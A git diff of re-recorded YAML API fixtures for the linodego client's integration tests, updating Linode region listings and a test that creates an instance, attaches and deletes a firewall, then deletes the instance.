{"id": "it-mil", "label": "Milan, IT", "country": - "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object - Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium - Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, - 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, - 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", - "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, - 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, - 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, - 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, - 172.233.128.44", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-central", - "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, - 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, - 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, - 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, - 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, - 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, - 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, - 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": - "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", - "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", - "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, - 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": - "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, - 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": - 25}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -228,7 +272,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:20 GMT + - Fri, 31 May 2024 18:19:22 GMT Pragma: - no-cache Strict-Transport-Security: @@ -245,7 +289,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -254,7 +301,7 @@ interactions: code: 200 duration: "" - request: - body: '{"region":"ap-west","type":"g6-nanode-1","label":"linodego-fw-inst-test","root_pass":"4!Wk7E{aIq0q,Yq}Kjg?2j{YaY6,2`5XfAz65u${LM79070,ZCI\u0026w\\H@X$4clk1}","image":"linode/debian9","booted":false}' + body: '{"region":"ap-west","type":"g6-nanode-1","label":"linodego-fw-inst-test","root_pass":"j5|5.*6c5mTJ2j\u0026^7X8*xy77+wVw*{5x6KGMEX;Yg`d$53Yv0!XICErC2;7;rv:z","image":"linode/debian9","booted":false}' form: {} headers: Accept: @@ -266,15 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 54933560, "label": "linodego-fw-inst-test", "group": "", "status": + body: '{"id": 59544187, "label": "linodego-fw-inst-test", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["45.79.125.254"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["192.46.211.8"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "adedae7ef69ee351548f2ec08be51b74f4698537", "has_user_data": false}' + "2e178642a58dc717a260fc2f07a0f9ebec105e2b", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -291,13 +339,13 @@ interactions: Connection: - keep-alive Content-Length: - - "738" + - "761" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:20 GMT + - Fri, 31 May 2024 18:19:23 GMT Pragma: - no-cache Strict-Transport-Security: @@ -312,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -321,7 +372,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"linodego-fw-ins-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{"linodes":[54933560]}}' + body: '{"label":"linodego-fw-ins-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{"linodes":[59544187]}}' form: {} headers: Accept: @@ -333,14 +384,15 @@ interactions: url: https://api.linode.com/v4beta/networking/firewalls method: POST response: - body: '{"id": 350853, "label": "linodego-fw-ins-test", "created": "2018-01-02T03:04:05", + body: '{"id": 501585, "label": "linodego-fw-ins-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "outbound_policy": "ACCEPT"}, "tags": ["testing"], "entities": [{"id": 54933560, - "type": "linode", "label": "linodego-fw-inst-test", "url": "/v4/linode/instances/54933560"}]}' + "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "7bcc0f03"}, "tags": + ["testing"], "entities": [{"id": 59544187, "type": "linode", "label": "linodego-fw-inst-test", + "url": "/v4/linode/instances/59544187"}]}' headers: Access-Control-Allow-Credentials: - "true" @@ -357,13 +409,13 @@ interactions: Connection: - keep-alive Content-Length: - - "654" + - "695" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:21 GMT + - Fri, 31 May 2024 18:19:23 GMT Pragma: - no-cache Strict-Transport-Security: @@ -378,7 +430,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -396,18 +451,19 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933560/firewalls + url: https://api.linode.com/v4beta/linode/instances/59544187/firewalls method: GET response: - body: '{"data": [{"id": 350853, "label": "linodego-fw-ins-test", "created": "2018-01-02T03:04:05", + body: '{"data": [{"id": 501585, "label": "linodego-fw-ins-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "outbound_policy": "ACCEPT"}, "tags": ["testing"], "entities": [{"id": 54933560, - "type": "linode", "label": "linodego-fw-inst-test", "url": "/v4/linode/instances/54933560"}]}], - "page": 1, "pages": 1, "results": 1}' + "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "7bcc0f03"}, "tags": + ["testing"], "entities": [{"id": 59544187, "type": "linode", "label": "linodego-fw-inst-test", + "url": "/v4/linode/instances/59544187"}]}], "page": 1, "pages": 1, "results": + 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -424,13 +480,13 @@ interactions: Connection: - keep-alive Content-Length: - - "703" + - "744" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:21 GMT + - Fri, 31 May 2024 18:19:23 GMT Pragma: - no-cache Strict-Transport-Security: @@ -446,7 +502,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -464,7 +523,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/350853 + url: https://api.linode.com/v4beta/networking/firewalls/501585 method: DELETE response: body: '{}' @@ -490,7 +549,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:21 GMT + - Fri, 31 May 2024 18:19:24 GMT Pragma: - no-cache Strict-Transport-Security: @@ -505,7 +564,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -523,7 +585,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933560 + url: https://api.linode.com/v4beta/linode/instances/59544187 method: DELETE response: body: '{}' @@ -549,7 +611,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:21 GMT + - Fri, 31 May 2024 18:19:24 GMT Pragma: - no-cache Strict-Transport-Security: @@ -564,7 +626,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: diff --git a/test/integration/fixtures/TestInstance_Clone.yaml b/test/integration/fixtures/TestInstance_Clone.yaml index db1f59221..e99adfd12 100644 --- a/test/integration/fixtures/TestInstance_Clone.yaml +++ b/test/integration/fixtures/TestInstance_Clone.yaml @@ -15,199 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 